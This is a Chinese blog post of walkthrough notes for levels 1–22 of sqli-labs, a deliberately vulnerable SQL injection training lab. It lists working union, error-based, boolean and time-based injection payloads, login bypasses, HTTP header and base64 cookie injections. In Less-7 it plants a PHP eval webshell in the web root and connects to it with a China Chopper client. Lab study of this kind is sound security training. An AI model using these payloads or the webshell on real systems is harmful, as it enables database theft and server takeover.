sqli-labs(1-22关)闯关笔记

sqli-labs(1-22关)闯关笔记

一、Basic Challenges
(以下为手工测试,也可以用工具Sqlmap,会提示可以用哪些注入攻击方法,如union、boolean、error、time等)
在这里插入图片描述

1.1 Less-1
在这里插入图片描述

步骤1:?id=1’报错显示near ‘‘1’’ LIMIT 0,1’;id=1’and 1=1–+与id=1返回相同;id=1’and 1=2–+与id=1返回不相同。
步骤2:推断出为‘的字符型sql注入,id=1’ order by 3–+,得到该页面对应的数据库表格字段数为3。
步骤3:?id=1’and 1=2 union select 1,2,3 --+,得到前端输出页面的字段数为2和3。
步骤4:使用union注入方法在2,3得到数据库名、表名、字段名和具体内容。

1.2 Less-2
在这里插入图片描述

步骤1:?id=1’报错显示near ‘’ LIMIT 0,1’;id=1 and 1=1与id=1返回相同;id=1 and 1=2与id=1返回不相同。
步骤2:推断出为数字型sql注入,id=1 order by 3,得到该页面对应的数据库表格字段数为3。
步骤3:?id=1 and 1=2 union select 1,2,3,得到前端输出页面的字段数为2和3。
步骤4:使用union注入方法在2,3得到数据库名、表名、字段名和具体内容。

1.3 Less-3
在这里插入图片描述

步骤1:?id=1’报错显示use near ‘‘1’’) LIMIT 0,1’ ;id=1’)and 1=1–+与id=1返回相同;id=1’)and 1=2–+与id=1返回不相同。
步骤2:推断出为‘)的字符型sql注入,?id=1’) order by 3 --+,得到该页面对应的数据库表格字段数为3。
步骤3:?id=1’)and 1=2 union select 1,2,3 --+,得到前端输出页面的字段数为2和3。
步骤4:使用union注入方法在2,3得到数据库名、表名、字段名和具体内容。

1.4 Less-4
在这里插入图片描述

步骤1:?id=1"报错显示near ‘“1"”) LIMIT 0,1’;id=1") and 1=1–+与id=1返回相同;id=1") and 1=2–+与id=1返回不相同。
步骤2:推断出为")的字符型sql注入,?id=1") order by 3–+,得到该页面对应的数据库表格字段数为3。
步骤3:?id=1")and 1=2 union select 1,2,3 --+,得到前端输出页面的字段数为2和3。
步骤4:使用union注入方法在2,3得到数据库名、表名、字段名和具体内容。

1.5 Less-5
在这里插入图片描述

步骤1:?id=1’报错显示near ‘‘1’’ LIMIT 0,1’ ,;id=1’ and 1=1–+与id=1返回相同;id=1’ and 1=2–+与id=1返回不相同。
步骤2:推断出为’的字符型sql注入,由于前端页面没有显示字段,但有显示错误,故使用报错注入攻击。
步骤3:?id=1’ and updatexml(1,concat(0x7e,database()),1)–+,得到数据库名为security。
步骤4:?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1)–+,得到表名emails。
步骤5:依次用以上方法得到字段名和具体内容。

1.6 Less-6
在这里插入图片描述

步骤1:?id=1"报错显示near ‘“1"” LIMIT 0,1’ ,;id=1"and 1=1–+与id=1返回相同;id=1"and 1=2–+与id=1返回不相同。
步骤2:推断出为"的字符型sql注入,由于前端页面没有显示字段,但有显示错误,故使用报错注入攻击。
步骤3:?id=1" and updatexml(1,concat(0x7e,database()),1)–+,得到数据库名为security。
步骤4:?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1)–+,得到表名emails。
步骤5:依次用以上方法得到字段名和具体内容。

1.7 Less-7
在这里插入图片描述

步骤1:?id=1’报错,?id=1’–+报错,?id=1’))报错,?id=1’))–+正常,;id=1’))and 1=1–+与id=1返回相同;id=1’))and 1=2–+与id=1返回不相同。
步骤2:推断出为’))的字符型sql注入,由于前端页面显示outfile字段,故使用一句话木马结合中国菜刀进行攻击。
步骤3:?id=1’)) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile “C:\wamp\www\sql\Less-7\wj.php” --+,将wj.php上传到文件夹中。
步骤4:访问sql/Less-7/wj.php ,查看文件是否上传成功。
步骤5:打开中国菜刀Cknife.exe,空白处右击添加,输入sql/Less-7/wj.php,pass,选择PHP(EVAL)脚本类型,即可连接,打开整个web服务器的主机文件夹。

1.8 Less-8
在这里插入图片描述

步骤1:?id=1’页面不回显任何东西,?id=1’–+与id=1返回相同,;id=1’ and 1=1–+与id=1返回相同;id=1’ and 1=2–+与id=1返回不相同,不回显任何东西。
步骤2:推断出为’的字符型sql注入,由于前端页面没有显示字段,错误也不回显任何东西,故无法使用union、报错注入攻击;考虑布尔型注入攻击。
步骤3:?id=1’ and length(database())=8–+,判断出数据库长度为8
步骤4:?id=1’ and substr(database(),1,1)=‘s’–+,得到数据库名第一个字母为s,用burpsuite爆破可快速得出为security
步骤5:?id=1’ and substr((select table_name from information_schema .tables where table_schema=‘security’ limit 0,1),1,1)=‘e’–+,得到数据库名第一个数据表名中第一个字母为e.用burpsuite爆破可快速得出为emails。
步骤6:依次用以上方法得到字段名和具体内容。

1.9 Less-9
在这里插入图片描述

步骤1:?id=1’,id=1 and 1=1,id=1 and 1=2,id=1’ and 1=1–+;id=1’ and 1=2–+均与id=1返回相同。
步骤2:由于前端页面没有显示字段,错误也不回显任何东西,故考虑使用时间注入攻击。
步骤3:?id=1’ and sleep(5) --+ 判断为’的字符型sql注入
步骤4:?id=1’ and if(length(database())=8, sleep(5) ,1)–+,得到数据库名长度为8。
步骤5:?id=1’ and if(substr(database(),1,1)=‘s’, sleep(5) ,1)–+,得到数据库名第一个字母为s.用burpsuite爆破可快速得出为security
步骤6:依次用以上方法得到表名、字段名和具体内容。

1.10 Less-10
在这里插入图片描述

步骤1:?id=1’,id=1 and 1=1,id=1 and 1=2,id=1’ and 1=1–+;id=1’ and 1=2–+均与id=1返回相同。
步骤2:故考虑使用时间注入攻击。
步骤3:?id=1" and sleep(5) --+ 判断为’的字符型sql注入
步骤4:?id=1" and if(length(database())=8, sleep(5) ,1)–+,得到数据库名长度为8。
步骤5:?id=1" and if(substr(database(),1,1)=‘s’, sleep(5) ,1)–+,得到数据库名第一个字母为s.用burpsuite爆破可快速得出为security
步骤6:依次用以上方法得到表名、字段名和具体内容。

1.11 Less-11(POST型)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test’,报错显示为near ‘‘test’’ LIMIT 0,1’,考虑为’字符型sql注入(注:uname处和passwd处都可用’)。
步骤3:在Post data框中输入uname=test&passwd=test’ or 1=1#,显示正常登录,且显示正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:由于前端页面有显示字段(显示正确用户名和密码),也有显示错误,故可使用union、报错注入攻击(此处用union注入攻击)。
步骤5:在Post data框中输入uname=test&passwd=test’ or 1=2 union select database(),2#,得到数据库名为security。
步骤6:在Post data框中输入uname=test&passwd=test’ or 1=2 union select database(),(select table_name from information_schema .tables where table_schema=‘security’ limit 3,1)#,得到表名users。
步骤7:依次用以上方法得到字段名和具体内容。

1.12 Less-12(POST型)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test",报错显示为near ‘“test”") LIMIT 0,1’,考虑为")字符型sql注入(注:uname处和passwd处都可用")。
步骤3:在Post data框中输入uname=test&passwd=test") or 1=1#,显示正常登录,且显示正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:由于前端页面有显示字段(显示正确用户名和密码),也有显示错误,故可使用union、报错注入攻击(此处用报错注入攻击)。
步骤5:在Post data框中输入uname=test&passwd=test") or updatexml(1,concat(0x7e,database()),1)#,得到数据库名为security。
步骤6:在Post data框中输入uname=test&passwd=test") or updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1)#,得到表名emails。
步骤7:依次用以上方法得到字段名和具体内容。

1.13 Less-13(POST型)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test’,报错显示为near ‘‘test’’) LIMIT 0,1’,考虑为’)字符型sql注入(注:uname处和passwd处都可用’)。
步骤3:在Post data框中输入uname=test&passwd=test’) or 1=1#,显示正常登录,页面不回显正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:由于前端页面没有显示字段,但有显示错误,故使用报错注入攻击。
步骤5:在Post data框中输入uname=test&passwd=test’) or updatexml(1,concat(0x7e,database()),1)#,得到数据库名为security。
步骤6:在Post data框中输入uname=test&passwd=test’ or updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1)#,得到表名emails。
步骤7:依次用以上方法得到字段名和具体内容。

1.14 Less-14(POST型)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test",报错显示为near ‘“test”" LIMIT 0,1’,考虑为"字符型sql注入(注:uname处和passwd处都可用")。
步骤3:在Post data框中输入uname=test&passwd=test" or 1=1#,显示正常登录,页面不回显正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:由于前端页面没有显示字段,但有显示错误,故使用报错注入攻击。
步骤5:在Post data框中输入uname=test&passwd=test" or updatexml(1,concat(0x7e,database()),1)#,得到数据库名为security。
步骤6:在Post data框中输入uname=test&passwd=test" or updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1)#,得到表名emails。
步骤7:依次用以上方法得到字段名和具体内容。

1.15 Less-15(POST型)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test’;uname=test&passwd=test"均不报错。
步骤3:在Post data框中输入uname=test&passwd=test’ or 1=1#,显示正常登录,页面不回显正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:由于前端页面没有显示字段,也无显示错误,故使用布尔注入攻击或者时间注入攻击(此处用布尔注入攻击)。
步骤5:在Post data框中输入uname=test&passwd=test’ or length(database())=8#,判断出数据库长度为8。
步骤6:在Post data框中输入uname=test&passwd=test’ or substr(database(),1,1)=‘s’#,得到数据库名第一个字母为s,用burpsuite爆破可快速得出为security。
步骤7:依次用以上方法得到表名、字段名和具体内容。

1.16 Less-16(POST型)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test’;uname=test&passwd=test"均不报错。
步骤3:在Post data框中输入uname=test&passwd=test") or 1=1#,显示正常登录,页面不回显正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:由于前端页面没有显示字段,也无显示错误,故使用布尔注入攻击或者时间注入攻击(此处用时间注入攻击)。
步骤5:在Post data框中输入uname=test&passwd=test") or if(length(database())=8, sleep(5) ,1)#,判断出数据库长度为8。
步骤6:在Post data框中输入uname=test&passwd=test") or if(substr(database(),1,1)=‘s’, sleep(5) ,1)#,得到数据库名第一个字母为s,用burpsuite爆破可快速得出为security。
步骤7:依次用以上方法得到表名、字段名和具体内容。

1.17 Less-17(POST型)(本关要知道用户名的前提下,对密码处进行操作)(xpath注入会使得数据库中user表中密码表清空)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=test&passwd=test,显示登陆错误;输入uname=test&passwd=test’;uname=test&passwd=test"均不报错。
步骤3:在Post data框中输入uname=admin&passwd=1,显示正常登录,页面不回显正确用户名和密码。(注:and的优先级高于or,前面返回false,后面返回yes,由or运算得到为真,可以绕过登录)
步骤4:在Post data框中输入uname=admin&passwd=1’,报错显示为use near ‘admin’’;输入uname=admin&passwd=1’ or 1=1#,显示正常登录,页面不回显正确用户名和密码。
步骤5:由于前端页面没有显示字段,但有显示错误,故使用报错注入攻击。
步骤6:在Post data框中输入uname=admin&passwd=1’ or updatexml(1,concat(0x7e,database()),1)#,得到数据库名为security。
步骤7:在Post data框中输入uname=admin&passwd=1’ or updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1)#,得到表名emails。
步骤8:依次用以上方法得到字段名和具体内容。

1.18 Less-18(POST型)(http头注入(User Agent))
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=admin&passwd=admin,显示正常登录,正确用户名和密码,爆出 IP 与 User Agent,推断为User Agent头注入
步骤3:用burpsuite抓包,发送到Repeater中。
步骤4:在Repeater中修改User Agent,判断为’的字符型sql注入。
步骤5:User-Agent: 'or updatexml(1,concat(0x7e,database()),1) or ‘1’='1,得到数据库名为security。
步骤6:User-Agent: 'or updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1) or ‘1’='1,得到表名emails。
步骤7:依次用以上方法得到字段名和具体内容。

1.19 Less-19(POST型)(http头注入(referer))
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=admin&passwd=admin,显示正常登录,正确用户名和密码,爆出 referer,推断为referer头注入
步骤3:用burpsuite抓包,发送到Repeater中。
步骤4:在Repeater中修改referer,判断为’的字符型sql注入。
步骤5:referer: 'or updatexml(1,concat(0x7e,database()),1) or ‘1’='1,得到数据库名为security。
步骤6:referer: 'or updatexml(1,concat(0x7e,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1)),1) or ‘1’='1,得到表名emails。
步骤7:依次用以上方法得到字段名和具体内容。

1.20 Less-20(POST型)(http头注入(cookie))
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=admin&passwd=admin,显示正常登录,正确用户名和密码,页面直接报出cookie值,推断为cookie头注入
步骤3:用burpsuite抓包,发送到Repeater中。
步骤4:在Repeater中修改cookie,判断为’的字符型sql注入(输入uname=admin’#后,显示正常登录,正确用户名和密码),由于页面有输出字段,故采用union注入攻击。
步骤5:cookie: uname=admin’ order by 3#,得到该页面对应的数据库表格字段数为3;uname=admin’ and 1=2 union select 1,2,3#,得到输出字段为2,3。
步骤6:cookie: uname=admin’ and 1=2 union select 1,2,database()#,得到数据库名为security。
步骤7:cookie: uname=admin’ and 1=2 union select 1,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1),database()#。得到表名emails。
步骤8:依次用以上方法得到字段名和具体内容。

1.21 Less-21(POST型)(http头注入(cookie))(注:base64编码中结尾千万不要出现=,否则出错(通过调节符号与字母行间距来去除=)。)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=admin&passwd=admin,显示正常登录,正确用户名和密码,页面直接报出cookie值,且cookie值为base64编码,推断为cookie头注入,
步骤3:用burpsuite抓包,发送到Repeater中。
步骤4:在Repeater中修改cookie,判断为’ )的字符型sql注入(输入uname=admin’ )#(uname=YWRtaW4nICkj)后,显示正常登录,正确用户名和密码),由于页面有输出字段,故采用union注入攻击。
步骤5:cookie: uname=admin’ ) order by 3#(uname=YWRtaW4nKW9yZGVyIGJ5IDMj),得到该页面对应的数据库表格字段数为3;uname=admin’ ) and 1=2 union select 1,2,3#,(uname=YWRtaW4nICkgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMj),得到输出字段为1,2,3。
步骤6:cookie: uname=admin’ ) and 1=2 union select 1,2,database()#(uname=YWRtaW4nICkgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj),得到数据库名为security。
步骤7:cookie: uname=admin’ ) and 1=2 union select 1,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1),database()#(uname=YWRtaW4nICkgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEgLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBsaW1pdCAwLDEpLGRhdGFiYXNlKCkj)。得到表名emails。
步骤8:依次用以上方法得到字段名和具体内容。

1.22 Less-22(POST型)(http头注入(cookie))(注:base64编码中结尾千万不要出现=,否则出错。(通过调节符号与字母行间距来去除=)。)
在这里插入图片描述

步骤1:在页面查看元素,找到两个文本框的名字,得到uname与passwd。
步骤2:在Post data框中输入uname=admin&passwd=admin,显示正常登录,正确用户名和密码,页面直接报出cookie值,且cookie值为base64编码,推断为cookie头注入,
步骤3:用burpsuite抓包,发送到Repeater中。
步骤4:在Repeater中修改cookie,判断为"的字符型sql注入(输入uname=admin" #(uname=YWRtaW4iICAj)后,显示正常登录,正确用户名和密码),由于页面有输出字段,故采用union注入攻击。
步骤5:cookie: uname=admin"order by 3#(uname=YWRtaW4iIG9yZGVyIGJ5IDMj),得到该页面对应的数据库表格字段数为3;uname=admin" and 1=2 union select 1,2,3#,(uname=YWRtaW4iYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMj),得到输出字段为1,2,3。
步骤6:cookie: uname=admin"and 1=2 union select 1,2,database()#(uname=YWRtaW4iYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj),得到数据库名为security。
步骤7:cookie: uname=admin"and 1=2 union select 1,(select table_name from information_schema .tables where table_schema=‘security’ limit 0,1),database()#(uname=YWRtaW4iYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEgLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBsaW1pdCAwLDEpLGRhdGFiYXNlKCkj)。得到表名emails。
步骤8:依次用以上方法得到字段名和具体内容。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值